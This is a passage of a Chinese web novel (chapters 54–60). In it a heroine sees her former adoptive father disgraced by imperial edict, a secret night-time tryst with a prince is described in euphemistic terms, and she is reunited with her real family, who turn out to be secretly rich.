喻初晴却好似没感情的人似的,听到这样的编排也不痛不痒,道:“我爬谁的床,你也看不见。但,你的亲生女儿桑雪爬床,太子都不要呢!你不是想靠她成皇亲国戚吗?恭喜你呀,成功把她送进太子府了!” 像是狠狠一巴掌扇在了南阳侯的脸上! 桑雪进了太子府,不但什么都没得到,甚至还失去了自由! 他这个亲生女儿,扔进水里了! 喻初晴本也没打算跟他说太多,只是想来看他不好过的。 话至此处,她笑吟吟地道:“看到你过得不好,我就放心了。你也放宽心,毕竟现在这点痛苦,才哪儿到哪儿呢。以后还会有更痛苦的事发生的,现在不放宽心,以后怎么熬得住呢?” 留下这气死人的话后,她转身离去。 南阳侯在后面破口大骂:“贱蹄子,你这个死丫头,本侯好生后悔,当年怎么就没把你掐死!” 喻初晴脚步一顿,侧头看向南阳侯,回眸一笑,道:“你这个老匹夫,等到桑雪把你南阳侯府嚯嚯干净了以后,你才要后悔,当年那一哆嗦,怎么没把她射在墙上!” 南阳侯气息一窒,怎么也没想到,她会说得出这般粗俗的话来! 喻初晴却不再理会他,这一次真走了,径直出了南阳侯府大门。 还对送出来的管家说道:“虽说我帮不上什么忙,但好歹帮三公子治了伤。他是否感激我,不重要;他骂我,我也受着。但你们还是要劝说他,情绪稳定才有利于养伤,别把自己的身子给气坏了。” 其他听闻侯府出事,来探口风的吃瓜群众,听言不免感慨:“永安县主真的是,人美心善啊!侯府的人都这么对她了,她还专程回来探望、还给三公子治伤。可真是重情重义、以德报怨!” 殊不知,她把南阳侯和桑怀志,都气得够呛。 而她刚转身,听得一句搞唱: “圣旨到,南阳侯接旨!” 见状,喻初晴挑了挑眉,上前询问:“林公公这是来办差呢。” 正是先前传旨给她封赏的那位。 传旨太监一看是她,一抖拂尘向她行礼:“奴婢见过永安县主,问您安康!” 宫里的奴才成千上万,能被贵人记住名姓的,却屈指可数。 她准确无误地喊出林公公,可是让林公公心里甜如蜜。 喻初晴微笑,伸手接过合欢递过来的一锭金子,送到了传旨太监的手心里,道:“上回说要给林公公谢礼,一直不得见。直到今日见着了,才有机会补上。请公公原谅则个!” 林公公面露为难:“上回县主已经赏赐了,岂有一事二赏之理?” 他把金子往回推。 喻初晴却面带笑意,道:“上回的确谢过了。这次不是赏,仅是一点交朋友的心意。公公拿着吧,出来办个差,顺路去街市上买点好东西,在宫里当差总是要四处打点的,多不容易。” 林公公听着这一句“多不容易”,瞬间感动得眼角湿润:“县主可真是……妙人!” 这回,他把金子给收了。 喻初晴没有逗留,说了几句场面话便告辞了。 半晌后,南阳侯拖着屁股的疼痛,领着侯府一众——断了腿那只除外,跪地。 “臣,接旨!” 第55章 喻初晴才是南阳侯府的大动脉 围观的人不少。 附近三条街,各家各户家里都有派人来搜集第一手消息。 八卦是人的天性,更何况这是朝局瞬息万变的顶层。 南阳侯府不就是,自家女儿救了太子这样大的恩情,他们一无所知,结果走了最错的一步棋! 只见南阳侯让两个随从搀扶着,顶着臀上的伤痛,颤颤巍巍地跪在了最前面:“臣桑文柏,接旨!” “奉天承运皇帝诏曰……”林公公抖开明黄色的卷轴,大声传唱:“南阳侯桑文柏,德行有亏,欺凌养女,朕亦有闻!其养女喻初晴乃东宫恩人,此番迫凌,乃藐视皇威!念昔年桑家祖上有功、太祖皇帝赐下南阳侯爵,世袭六代,如今已至末代,暂不虢夺爵位。然,有功当赏、有过当罚。今收回南阳侯所有食邑、罢免其兵部员外郎之职、俸禄减半!钦此!” 随着传旨太监一个字一个字砸下,桑文柏本就憔悴的脸色,顿时更加惨白。 侯夫人跟在后方跪着,心里更是叫苦不迭:已经够穷了,这是让本就不富裕的家庭,雪上加霜啊! 造孽啊! 偏偏这是圣旨,他们还得跪拜谢恩:“谢主隆恩!” 但,这还不算完呢! 林公公又道:“皇上有旨,南阳侯为父不尊,着左都御史日日上门申饬半个时辰,直至入秋!” 申饬…… 这是脸丢尽了还不算,还要把脸皮放在地上让人用脚底碾磨! 现在才初夏,也就是说,日日申饬,至少得有两个多月! 桑文柏被随从扶着站起来的时候,眼前发黑,终究是没撑住,扑通一声晕倒在地! 街角处,永安县主府的马车静静地停在那里。 “隔了这么长时间都没有惩处,这南阳侯怕不是当太子殿下那一日所说的话,是吓他的呢!” 合欢笑得开怀。 木棉说道:“可惜,还是因为祖上功勋,侯爵是保住啦!” 合欢还是高兴:“保住是保住了,不过是个虚名罢了。食邑都没有了呀!” “那倒是。”木棉看向面无表情的喻初晴,道:“县主,侯府不是本就快要揭不开锅了吗?这下好玩了,锅都没了!他们真好笑,竟不知道从前侯府之所以能存活下去,靠的是我们主子,可不是靠日益式微的侯爵荣光!” 合欢哼道:“可不么!若他们敬重县主,靠着县主的庇护,绝对能给桑家续三代荣光!” 若她用救太子之恩,求给桑怀民这一代续个爵位,应该还是可以的。 只要她还在侯府,就凭她暗中布下的那些产业和人脉,远的不谈,只说桑怀民这一代、以及子侄这一辈,绝对能得她的荫护。 荣华荣华有了,富贵富贵得了。 将来,要是县主跟逍王成了亲,不仅是皇亲国戚,甚至还是辈分极高的那种,皇帝见了他们县主,都要喊一声婶母。 走路都带风、说话都响亮不是? 结果呢? 他们倒好,把唯一能延续南阳侯荣华富贵的人,给赶走了! 笑死,喻初晴才是南阳侯府的大动脉! 喻初晴没有就此发言,而是平淡吩咐:“回去吧。” 合欢敏锐地发觉:“县主,你好像不是很开心。” “挺开心的。”喻初晴说道:“只不过,还不够!南阳侯的匾额,一日还挂在他们门楣,我就一日不够开心!” 她也不是非要赶尽杀绝的人,但没办法,谁叫南阳侯想要对她赶尽杀绝呢? 留着敌人时不时放个炸弹,她睡都不安稳! 但有些事,是急不得的。 她微微叹了一口气:“不过,不急于一时,徐徐图之吧。” 马车缓缓起步。 木棉说道:“以他们作死的能耐,那还不是迟早的事!更何况,县主已经为他们所有人都准备好了归宿!” 南阳侯被处罚的事,像长了脚似的,很快传遍了高门大户。 一时之间,桑家成了帝京笑柄! 永安县主府。 恰好又是五日一聚的日子。 “太好了!”喻今歌喜气洋洋,恨不能背上能长出两只翅膀起飞! 他拎着酒壶,给每个人的酒杯都倒满,道:“就今天这个事儿,咱们就值得喝一杯!” 其他人都举杯了。 喻今歌也把自己那杯举了起来,孰料,左边一只手伸过来,将他的酒杯拿走了! “三哥!” 喻慕文面容淡淡:“十三岁,喝什么酒?脑子已经够笨了,再喝就要成智障了。” 喻今歌整个人都不好了,但,在多智如妖的三哥面前,他实在没多大底气,只能转头朝喻初晴告状:“姐,你看三哥欺负我!我怎么就笨了,我聪明着呢!” “噗。”喻初晴被他逗笑,道:“少喝点没事的,就一杯吧。” 她叮嘱道:“你要学医,就尽量少喝酒,喝多会影响你的味觉和嗅觉。譬如,给你一碗药汤,你要能一口品尝出来里面一共多少味,更要能用闻的,知晓药味对不对。一旦伤了味觉和嗅觉,就别学医了。” 说着,她把杯中酒喝了,就把酒杯放下:“我也就只喝这一杯。” 喻今歌崇拜地看着她:“我姐实在是太厉害了!” 小眼神瞧了一眼喻慕文:“三哥,要我说,你就不如我姐!” 喻慕文微笑,坦然承认:“不错。我只是会读书,记性比较好。但晴晴,似乎文武全才、五花八门、天文地理,什么都会。” 锤子美人在旁边点头:“我就只会打架!” “订正三哥的说法。”喻初晴笑道:“我是什么都会一点……但,也只有一点罢了。” 现代人,五花八门都关注一点,真的是什么都只知道皮毛。 很多事,是要实践才能学会的。 “姐你就谦虚吧!”喻今歌撇撇嘴:“你会的这一点,就够多少人一辈子拍马难追了好吗!” 能经商、会医术,晓文、懂武,知人情世故、善谋略布局…… 随便一样拿出来,都是碾压别人的存在! “不然呢?”喻初晴歪头问:“难道我要说,我厉害着呢,老娘天下第一?” 这话说得一家子都忍不住哈哈大笑。 白婉蓉温柔地看着几个孩子,不免想到了还没归家的大儿子,转头问:“相公,昔词怎么还没回来?不是说这几日就能到家的吗?好些天了,也没个信儿。” “许是被什么事耽搁了。”喻惊鸿对自己的儿子,那叫一百二十个放心。 但还是转头安抚爱妻:“别急,估摸也就是这几日的事了。” 喻初晴对大哥很是好奇,但也的确不急。 却没想到,大哥还没回来,萧风岚那狗币倒是先回来了! 第56章 还是得抱着真人才舒服 半夜,喻初晴睡得朦朦胧胧的,突然好像听到一阵脚步声。 她虽然武功不算高强,但原主从小习武,底子很好。 而她一个穿越者,警觉性特别强,来了这时代后,睡眠就没好过。 这一点脚步声让她瞬间清醒,睁开眼睛。 “别怕,是我。” 萧风岚的声音仿佛裹着夜露。 他一步步朝她走过来。 喻初晴抱着薄被坐了起来,很是无语:“你来就来了,又不是不让你进屋。干嘛要发出脚步声啊?” 他武功不知道比她高多少,又不是防不住她! 萧风岚在床沿坐下,轻笑一声,道:“我那不是担心到了你身边才发出声音,让你从梦中惊醒,对身体不好吗?” “那你就不能不要吵醒我吗?”喻初晴翻了个白眼,重新躺下。 萧风岚坐着,并没有急着躺下,说道:“你睡眠本来就轻。” 他身上潮气很重,应该是刚沐浴过,皮肤还有几分凉意。 她伸手摸了摸他的胳膊。 他解释道:“我一路快马回来的,满身的尘土,怕你不让我上你的床,就先去洗干净了。” 顿了顿,他笑得暧昧:“用你的洗澡水,都是你的味道!” 喻初晴:“……” 她的洗澡水,肯定都已经全部都冷掉了,难怪他这一身凉意。 但她没多说什么,道:“大半夜的,你还坐着干什么?大老远赶回来,就为了在这里坐着?” “那必须不能。我跑了几百里,可不是为了看得见吃不着的!”萧风岚理所当然地道:“但我身上凉,你睡得暖暖的了,我怕让你受凉,万一明日病了怎么办?” 喻初晴:“……” 默了一瞬,她往里面挪了挪,把睡得暖暖的位置让给他,道:“躺下吧!” “难得难得,竟然还有晴晴给我暖床的一太难!”萧风岚眼眸瞬间灿亮,迅速躺进被窝。 但,还是没有像往常那样直接抱住她。 “你事情办完了?”喻初晴的睡眠一向很浅,已经醒了就有点睡不着了。 “没呢,还早着。”萧风岚摇头。 怕她受凉不能抱着,他就拉着她的手,一节一节地把玩着她的手指头,道:“突然特别想你,就想回来见你。我明早就走。” 喻初晴无奈地道:“南陵奔回来至少五百里,夜里跑个来回?你不要命了!” 说真的,她这只绿茶小狗,虽然平时太黏人,又闹又作,但他真的是在纯爱的年纪,经常会做一些纯爱的浪漫。 很多时候她都相信,他好像真的很爱她。 只不过她这种人,相信爱情,不相信永久。 只能说,享受当下。 萧风岚脱口而出:“那还是要命的,没有命,怎么拥有你?” “……”喻初晴无语。 她翻了个身,主动钻进他的怀里,搂住他那劲瘦的腰,道:“要不明天待一天,后天凌晨再走?” “我奉旨办差。”萧风岚理所当然地心动了,但他还是很清醒的:“要是让人知晓我偷溜回来,皇帝不会弄死我,但少不了一顿数落!怎么说我都是当皇叔的那个,被侄子数落很丢脸啊!” “你什么时候怕过皇帝?”喻初晴轻笑。 萧风岚哼了一声,傲娇地道:“那倒也不能这么说,小时候我还是怕他的。主要被罚抄书罚太多了!” 喻初晴抬手,食指在他喉结上轻轻一刮,红唇凑上去,贴着他的薄唇轻声呢喃:“你不出去不就好了吗?我金屋藏娇呀!” 十九岁血气方刚的小狼狗,哪里遭得住她这样撩人? 他当即将她猛地抱住,顺势叼住了她的唇! “晴晴……”他呢喃着:“想死我了……想得我浑身都痛……” 很快亲到了她的颈子上,他却非要坚持问:“你有没有想我?” 喻初晴没回答这个问题,手掌在他后背上来回抚触。 他后背敏感,最受不了这种拨弄,当即喘了起来,浑身激动。 “坏蛋,你就会折磨我、老是折磨我!” 他不问了,再次狠狠地亲了下去。 很快谁也说不出话来了,像是离了水的鱼,大口大口喘息。 只觉得干渴,只想与对方相濡以沫。 船舶入港的那一瞬,萧风岚头皮发麻到了天灵盖,他难以自抑地道:“五百里没白跑,还是得抱着真人才舒服。光用想的自己上手,根本没感觉!” 听到前面一句,喻初晴差点以为他搞了个娃娃,听到后面,就无语了。 她搂着他的脖子,故意软声问:“那你怎么不带俩侍妾,那不就不需要用五指姑娘、可以抱真人了?” 刚问完,就被猛地一撞,她没忍住叫了一声。 萧风岚恶狠狠地掐着她的下巴,在她唇上咬了一口,道:“喻初晴,你敢再说一次试试,我弄不死你!” 他一边卖力,一边喷她:“你个没良心的!老子在外面吃苦,天天想着你,你敢让我找别人!” “才分开几天?你是不是找别人了!” “喻初晴我告诉你,你胆敢让别的男人碰你试试,我不踹断他的裆,我就不叫萧风岚!” 喻初晴虽被他弄得呼吸都不顺畅,却根本不怕他,还敢挑衅:“我还以为,我找了其他男人,你会拧断我脖子?” 竟然不是杀了她,而是要杀奸夫? 平心而论,出轨这种事,小三有错,但无论男女,祸根难道不都在出轨那个人吗? 他怎么跟女人打小三不找自己老公算账、只打小三似的! 萧风岚怒道:“你还真敢找?” 他一气恼,猛地低头,对准她锁骨狠狠咬下去:“我咬死你!” 喻初晴吃痛,惊呼一声:“狗东西!你敢留痕迹试试?” 夏天了,衣衫单薄,她怕热,喜欢穿领口比较低的衣裳,这个位置绝对会被人看到! 萧风岚松开牙关,没再咬了,却报复性地往下面咬雪团子。 喻初晴:“……” 事实证明,这种事果然不能挑衅男性权威。 尤其是,一只饿了十多天的恶犬! 一开始他还悠着点儿,被她一个刺激,全放开了! 折腾到了黎明时分,萧风岚本打算立刻走的,却…… 走不动了。 倒不是没有力气,而是喻初晴轻飘飘说几句话,就捆住了他的双脚:“过度劳累、又过度纵欲,以后你未老先衰,我可就嫌弃你了。” 这还不算。 重点是,她又说了句:“一走那么多天,我也挺想你的,你确定不留下来吗?” 他顿时走不动道儿了! 留! 必须留! 但:“那我真藏你屋里了哈?” “好!”喻初晴觉得没什么问题。 当然,这只是她以为。 当天,问题就出来了—— 第57章 绿茶小公举 虽不是夫妻,但在一起一年多,分开十多天还是少的,多多少少有点小别胜新婚的滋味。 昨晚后半夜没睡,上午又有一堆事忙碌,她困倦得不行。 反倒是萧风岚这狗东西精力旺盛,上半夜赶路、下半夜折腾,被金屋藏娇的他睡了一上午。 下晌,喻初晴躺着睡午觉,萧风岚躺在她旁边,看着她补眠。 今日有些闷热,他轻轻摇着团扇,给她扇凉风。 岁月静好。 真不想离开帝京了! 突然,喻今歌风风火火地闯进主院来,一边跑一边喊:“姐!姐!大哥回来了!” 喻初晴身边的人,都知道她的事。 逍王在,院子里的人都很醒目。 合欢赶忙拦住喻今歌:“小公子,县主在午憩呢。您小点声儿!” 赶紧给木棉使眼色,道:“木棉,你去问一下县主,要这个时候起来吗?” 木棉正要去,喻今歌反而把她叫住了:“那不用叫了,要是让大哥知道我把姐给吵醒了,要削我!” 他转头往外走,在身后摆摆手:“我去跟大哥说一声,让他等等。他一大老爷们等一两个时辰,还会少块肉么?我姐没睡好,那可亏大发了!” 合欢:“……” 木棉笑道:“主子的亲生家人,真的很好,比侯府那些兄长小弟,要好一万倍!” “爱不爱,很明显。”合欢笑着往里面走,道:“真心爱你的人,肯定是把你捧在手心里,还怕摔着了!侯府那些人,都是自私自利的,惯会享受主子的付出,从来没想过回报。都闹到如今这样了,那桑二公子,还在想薅主子的羊毛呢!” 至于侯夫人,她不是薅,她纯属于习惯了,想整只羊都是她的! 进得屋里,喻初晴在小声跟萧风岚说话。 她还有点不清醒:“刚才是小弟的声音?” “嗯。”萧风岚坐在床上,将她的发丝缠绕在自己指尖,有一下没一下地把玩着,道:“小弟说,咱大哥回来了。” 喻初晴已经清醒得差不多了,瞪他:“我大哥,谁跟你咱?” 萧风岚秒变绿茶小狗:“是,我知道我配不上你,不配喊你大哥为大哥!将来即便你愿意负责,赘我进门,我这种不上台面的身份,以后也得称呼他为大公子!” 喻初晴:“……” 这狗东西…… 就蛋疼! 她不说话,他就继续表演:“晴晴,我还能有光明正大进你家门的一天吗?红颜未老恩先断,再过两年你有别的狗了,就不要我了是吧?” 喻初晴把头发从他指尖抽回来,坐了起来,冷漠脸:“我什么狗都不要。” 萧风岚双臂从她腰后伸出来环抱住她,不让她下床:“我不管,我就要留在你身边,死也赖着你!除非你把我杀了,那我的魂魄也都缠着你,夜夜都来鬼压床睡你!以后你找别的男人,我就把他吓萎掉。来一个吓一个,让你一辈子吃不饱!” 喻初晴无语问苍天! 这狗东西到底是个什么物种,脑回路怎么这么奇怪? 都闹成这样,不哄是不行的了,她回身摸摸狗头,又凑上去亲了下薄唇,道:“好了别闹了,我不要狗,要你,行了吧?” 她拍拍箍在身前的手,道:“松开,我要梳洗更衣。” 萧风岚还是不肯松手,怨妇一样看着她:“你要抛下我,精心打扮去见别的男人了吗?” 喻初晴:“……” 服了。 她的忍耐是有限的,当即变脸,回头朝在他胳膊上扇了一下,道:“再闹!” 萧风岚笑了声,老实下来不闹了。 抢先一步下床,捧着她的脚给她穿袜子、套鞋子。 紧接着,又朝衣橱那边走去:“我给你挑衣裳。让合欢进来给你梳洗。” 喻初晴洗好脸,坐在镜子前面,合欢给她梳头。 她不喜欢太繁复的发型,发饰也是尽量简约,花费时间不多。 合欢给她简单打了点薄妆。 弄好了后,萧风岚捧着衣裳过来,道:“本王来好了,你出去吧。” 合欢瞧了一眼自家主子,见她点头,便退了出去。 喻初晴站起来,萧风岚给她套衣裳。 夏装多半领口比较低,用的丝质轻薄质地柔软的料子,挂在她身上,垂坠感强烈,显得人高挑苗条。 他站在她面前给她整理衣襟,漫不经心地道:“晴晴,你不觉得你太瘦了点儿?” “哪里瘦?”喻初晴眸光往上瞟。 他长得高,尤其是站得这么近的时候,她必须仰视。 萧风岚伸手往上蹭了蹭, 笑道:“这儿……虽然我已经很努力了,好像长大了一些,但还是有点瘦!晴晴,你还是要多吃点肉,我不在的时候得养好自己,你看这才多久,抱着你都硌着我了。” 喻初晴听得直翻白眼,一巴掌呼在他胳膊上:“我都没嫌你肉硬硌着我了,你还嫌我胸不够大?” 她哪里不够大了! 只是她这身材是偏圆柱形的那种,骨架小,上围很小、腰很细,夏装衣料垂顺,在身上一束腰,就很显瘦罢了! “嫌我哪里硬?”萧风岚笑得贼坏:“明明喜欢得很!” 喻初晴:“……” 不想跟他在这里说骚话了,她叮嘱道:“在屋里待着别跑出去,你要是被抓到,我绝对一口咬定你是采花贼。你看我爹娘、我哥哥弟弟会不会放过你!” “我什么时候不老实了?”萧风岚哼哼地道:“你说什么我不听?” 瞧抬头那娇娇的模样,逗得喻初晴轻笑一声,招手让他把头低下来,凑上去亲了一口,道:“乖哈!” 她嘴上嫌弃,其实她就喜欢他这绿茶小公举的模样。 他不是娘炮唧唧的那种,明明长得好、身材好,文武全才,还身份高贵,很强的一个人。 在别人面前,但凡敢惹毛他的,都要被他把毛拔光! 只不过,他愿意在她面前摆出这副姿态。 这是他们俩之间的一个很和谐的相处方式,她很愿意跟这样的他在一起。 出了主院,喻初晴来到前院。 一家人见面不需要太正式,大家都在花厅这边。 喻初晴很快见到了她大哥喻昔词—— 只不过,跟她想象中的样子,有亿点出入! 第58章 一家七口,挑不出一个寻常人 花厅内,几人正围着一名青年在说话,其乐融融的模样。 白婉蓉拉着青年的手,一直在顾盼门口方向。 第一时间看见了喻初晴,赶忙招手:“晴晴来了!快过来,认一认你大哥!” 喻初晴迈步进入花厅,朝众人看去,一个个喊人:“爹、娘,二哥三哥,小弟。” 最后目光放在那唯一一个她不认识的青年脸上,没说话。 心里已经很清楚:这肯定是喻昔词。 但她真不敢认! 青年站起来,眉眼含笑,道:“晴晴,我是大哥。” 她大哥…… 额! 在她的印象中,一直以为喻昔词应该是一个儒雅、端方的谦谦君子形象。 她不认为他会是普通的小货郎,把他在自己的潜意识里设定为儒商。 跟喻慕文的书卷气不同,常年走南闯北走商的人,应该会硬朗一些,哪怕皮肤黑一些。 但她是真的没有想到,一个拥有名字叫“昔词”的男人,竟然…… 这、样、硬、朗! 长相先不提,跟喻惊鸿非常像,一看就知道是父子。 但喻惊鸿虽然是个屠夫,却还是有几分儒雅的,而喻昔词…… 他、没、有! 一点都没有、半点都没有! 他很高,萧风岚那狗东西至少有一八五,在这帝京已经是鹤立鸡群的存在了。 而她这位大哥,应该有190+! 五官线条英朗、体型宽厚、虎背熊腰……怎么说呢? 用比较现代的形容就是:宽肩宛如双开门冰箱,身形高大却是黄金头身比;腰不粗,整个一个完美倒三角,贴合二次元漫画风的形象! 他穿着一身料子很好、颜色却是灰素色的宽袍,脚踩深黑色的皮靴子,头上纶巾束发,手上摇着一柄羽扇。 扇坠,是一个很小的金算盘,算是他全身上下一眼看得出来值钱的东西! 喻初晴私以为:他真的一点儿、一点儿、一点儿也没有和气生财的生意人的模样! 核气生财差不多! 见她久久不语,喻昔词出声询问:“有什么问题吗?” 他上下打量自己,是不是有什么不得体的地方。 “大哥。”她屈腿行了个礼,直言道:“大哥与我想象的,很不一样。” “怎么个不一样?”喻昔词一愣,问:“因为爹娘说我是货郎?进京之前我的确不穿着一身,这不是为了与县主府般配,才特意换的么?” 喻初晴不由失笑:“原来如此。” 喻昔词轻笑,又问:“那你原本以为大哥是个什么样的人?” “比三哥英朗一点,但应该大差不差。”喻初晴走过去,自嘲一笑:“是我太想当然了。” “好啦好啦!认识了就好。”喻惊鸿招手:“一家人齐了,晴晴快过来坐下说话。” 坐下后,喻初晴看了一圈自己的亲人: 她爹喻惊鸿,屠夫手捻绣花针; 她娘白婉蓉,暂时是个外表柔弱,却内里干练的美妇人,是否还有其他隐藏形象犹未可知; 大哥喻昔词,硬汉商人; 二哥喻尚武,美人抡大锤; 三哥喻慕文,书生戴佛珠; 小弟喻今歌,围裙中二少年…… 还有她自己——喻初晴,背负很多隐藏马甲的侯府假千金! 啧,一家七口,挑不出一个寻常人! 喻惊鸿作为一家之主,严肃认真地道:“晴晴,你大哥既然回来了,我们看一下什么时候合适,全家回一趟祖籍。让你认祖归宗,也认识一下其他亲戚。” 白婉蓉温温柔柔:“咱们家亲戚还是挺多的,路途又很遥远,这一去一回肯定要不少时间。你在帝京不还有好多事么?得把后面的事都安排好,别耽误事儿。” “好。”喻初晴自然是答应的:“我知道了。” 看这一家子,就应该想得出来:他们家的出身,只怕不仅仅是富,很可能还贵? 亲戚多,还是个大族! 会是什么隐世家族吗? 喻昔词一直看着她——嫡亲的妹妹,却还是第一次见。 明明是个猛虎一样的硬汉,却细嗅蔷薇似的轻声问:“晴晴,少不得要数月,你这边确定没有问题么?” 喻今歌撇嘴:“大哥你偏心得很呐!对我姐说话就是温声细语的,对我就是用吼的?嚯!” “有意见?”喻昔词瞪了他一眼,嗓音立即变粗了,不给他说话的机会便道:“给我憋着!” 喻今歌:“……” 憋了半天,还是没忍住碎碎念:“憋着就憋着,就知道欺负我!” “等等……”喻初晴不免好奇:“大哥跟桑雪说话,也像对我说话这样吗?” 提到桑雪,喻昔词愣了下,旋即面色不虞地道:“都不是咱们家人了,还提她做甚?” 喻慕文给她解释:“大哥很少在家,一年至少有九个月在外面。即便回来了,也忙得很,将外地带回来的货物在京中售卖,很少跟桑雪相处。” 他睨了喻昔词一眼,又补充一句:“当然,咱们家姑娘金贵,即便不是亲妹妹,大哥也很温和的。” “哦。”喻初晴明白了。 从这些言语碎片可以推测:一家之主是喻惊鸿,实际上真正的掌门人,应该是喻昔词! 她微笑,道:“那……再等我一阵子吧,我想先把帝京这边的事都安排好。” “没事。”喻昔词说道:“反正都十七年了,不差这一年半载的。” 喻初晴一怔:“能等一年半载吗?” 有点超乎她的想象了! “有何不可?”喻惊鸿理所当然地道:“你只管做你的事。你手头的事在先、回祖籍这件事在后,自然要让你把事情办妥,这叫先来后到!” 对这一家人,喻初晴真的是爱了! 她转头笑问:“小弟有回去过吧?” 本以为肯定有。 孰料,他却是摇头:“从来没!” “啊?”喻初晴愣住,不明白这是怎么回事。 白婉蓉温柔解释:“不仅今歌没回过老家,十七年来,只有你大哥回去过。” 喻初晴不解地问:“为何?” 喻惊鸿苦笑,道:“我们喻家五代都没出姑娘了,好不容易生下了一个你,还不是在家里出生的,而是生在了外头。” 喻初晴:“!!!” 所以,这是一个都生男孩的家族,有点儿…… 恐怖! 物以稀为贵,那么是不是可以大胆推测—— 她要拿团宠剧本了? 第59章 桑雪知道吗? 白婉蓉接着道:“当时你出生是个女儿,我们高兴坏了,第一时间便写信告知家里。孰料没两天你就丢了。” 提到这件事,她的神情便多了一些哀伤。 喻惊鸿捉住她的手以示安抚,接下去道:“你祖父知晓这件事后,很是气恼,将爹好一顿训斥,表示此生若找不到你,便不准回家。” 白婉蓉又道:“后来生今歌,也是想赌一把,看看能不能是个闺女,将功折罪。孰料……” 显然,对喻今歌是个男孩,很是不满。 喻今歌唇角一抽:“我也想是个姑娘啊,多受宠啊!” “所以,你们才一直在这里落脚的?”喻初晴好像捋到了一点什么,又好像还有一片迷雾。 “是的。”白婉蓉颔首:“既然我们是在这里把你丢的,那就一直住在这里。过了好些年,你祖父都还在生气,直到昔词十二岁,他来信说他老了,很多事做不来了,要让昔词回去继承家业。” 喻初晴:“!!!” 继、承、家、业! 有家业才能说继承,总不能像现代人那样,继承蚂蚁花呗、京东白条? 所以,喻昔词十二岁开始走商到处找亲妹妹,大半年都在外面,只是表面上的说法,是个幌子。 假设喻家是隐世家族,他便不是走南闯北做商贾,而是:回家继承家业,做家主去了? 是这意思吧! 别说喻初晴,就是喻今歌都是一片震惊:“什么意思?爹、娘,咱们家还有家业?很庞大吗?!” 所有人都看着他,没说话。 全家只有他和喻初晴姐弟俩是什么都不知道的,即便是喻尚武也多少知道一点。 喻今歌抑郁了:“为什么都不告诉我?我一直以为家里很艰难,我要多加努力!” 得来喻慕文当头一个爆栗:“家里不艰难,你就不努力了?” 喻今歌痛呼一声,捂着脑门老实认怂:“那不是不用日日忧虑嘛!” “你怕什么?”喻尚武喝了一口茶,道:“你只要养活自己就成,即便没有家业,咱们家有谁还能是养不起父母的人?好手好脚的,只要肯干,还能被自己穷死?” “哼。”喻今歌还在叛逆的年纪,哼哼唧唧地道:“那都瞒着我,是什么意思?” 喻尚武都能回答他这个问题:“怕你说漏嘴!” 喻今歌:“……” 忽然,他想起来一个重要的问题:“桑雪知道吗?” 一家子都用无语的眼神看着他。 喻今歌唇角猛抽,自己都觉得自己是全家的智商洼地了! 他摸了摸头,不好意思地笑道:“好嘛,她要是知道家里另有背景,肯定就不会跟咱们割舍得这么轻易了!” 这么一想,他又爽了:“哈哈!叫她爱慕虚荣,非要去沾南阳侯府那个空壳儿!想到她以后后悔不迭,我怎么就这么开心呢?” 喻初晴不由好笑。 中二弟弟,真的是很可爱的。 提到桑雪,喻昔词问:“她进了太子府,难道不是自取灭亡?” 桑雪的背叛,家里几口相对而言最难过的,一个是喻今歌,另一个自然是白婉蓉。 因为他们俩才是跟桑雪相处时间最多的人。 白婉蓉笑容很快消失,叹息道:“怎么说都是我养了十七年的女儿,看着她选择这样的路,我是真的痛心。想到她日后不会有好下场,心里也是难受。” “娘。”喻慕文说道:“她自己选的路,最终的苦果还是要她自己品尝,你们又不是没有劝说过她。” 事发的时候,大哥不在家,他和喻尚武也不在。 但父母和弟弟都劝说过,桑雪不听呀,有什么办法? 白婉蓉点点头:“是。早一日是侯府派了下人来,说要把她接回去,当晚我便与她谈了一晚上,暗示她,家里不会一直这样的。只要初晴愿意回来就……她都没让我把话说完。” 喻初晴恍悟。 原来,白婉蓉是想跟桑雪说家里的真实情况的,是桑雪一心扑在荣华富贵路上了,没有心思听。 错亿! 哈哈,多好笑啊! “最终什么也没谈成。”喻今歌想到这件事就生气:“害得娘心有郁结,病了一场!结果,娘都病成那样了,第二天南阳侯来接人,她屁颠屁颠地就跟着走了。还当着南阳侯的面,跟我们说,从今往后她就是侯府嫡女了,虽然爹娘对她有养育之恩,但爹娘把她偷走、调换了她的人生,恩过相抵、从此后跟我们一刀两断!” 他越说越生气:“一刀两断就一刀两断嘛。后面她又否认自己说过那样的话,说都是南阳侯逼的!难不成,南阳侯还能逼她爱慕虚荣?” “还说这些说什么?”喻惊鸿给了他一个眼神,道:“事已至此,没什么好说的。我们养了她十七年,好在他们也给我们把晴晴养大了。就当那十七年养的,是自己家姑娘呗!” 白婉蓉说了句:“虽然,晴晴是吃了不少苦,可木已成舟,也只能认了!” “没有。”喻初晴笑道:“我感激他们这么愚蠢,让我苟着偷偷发展了那么多年,才有今日这些成绩。我吃的苦,不是他们给的,而是为了我自己的美好未来所做的付出。” 闻言,喻昔词赞赏地看着她:“晴晴格局相当大,是堪大任的人。” 大亏当然不能吃,小亏也不必计较。 鼠目寸光的人才整天想着自己吃的这些小亏,在蠢人花心力在伤春悲秋的时候,聪明人已经利用一切资源,为自己谋了一条更好的出路! 关键是,如果总把过错与受罪,归结于他人的原因,人是很难前进、很难爬升的。 要多总结自己的原因,不断改良路线,不顾他人死活,一心走自己的路! “大哥这么夸我,我都不好意思了。”喻初晴说了句,转而吩咐:“合欢,命厨房备一桌席面,晚上为大哥接风洗尘。” 一家人又聊了一阵,喻初晴问:“大哥这些年在外地,确实有走商么?” “那自然是有的。”喻昔词没有隐瞒,说道:“每年一轮。将南方的货物,运到北方,再将北方的货送去南方售卖。我们族里,虽然很多东西能够自产自销,但总有一些东西是条件限制,做不出来的。” 喻初晴对经商的事更感兴趣一些,道:“对比大哥,感觉这几年我在京中做的,都是很小的生意。而且,因为我不能离开京城,受到了限制,大部分东西都被中间商赚了差价,利润也就微博了。” 她转头问:“大哥,南方的药材品种更齐全,你有没有路子?” 第60章 没有什么原则是不能打破的 喻昔词眼眸一亮,道:“那自然必须有。每年从南方运到北方的货物,其中就有药材。” 他低笑一声,道:“不巧得很,你大哥我,正好是你说的中间商。” 喻初晴:“……” 喻昔词又道:“不过,因为家中的关系,我基本没做帝京的生意。所以,给你供货的,必定不是我。” 家里要留在光明村隐藏身份,倘使他这个老大把生意做得很大,容易引人注目,必定会有麻烦。 因此,他每次回到帝京,就做个走街串巷的小货郎,兜售一些南方的小玩意儿。 这也是喻初晴命人去查,却只查到表象的原因。 “我有一个济春堂,平时药材的来源不但经过药材商,还有中间人吃了一头。” 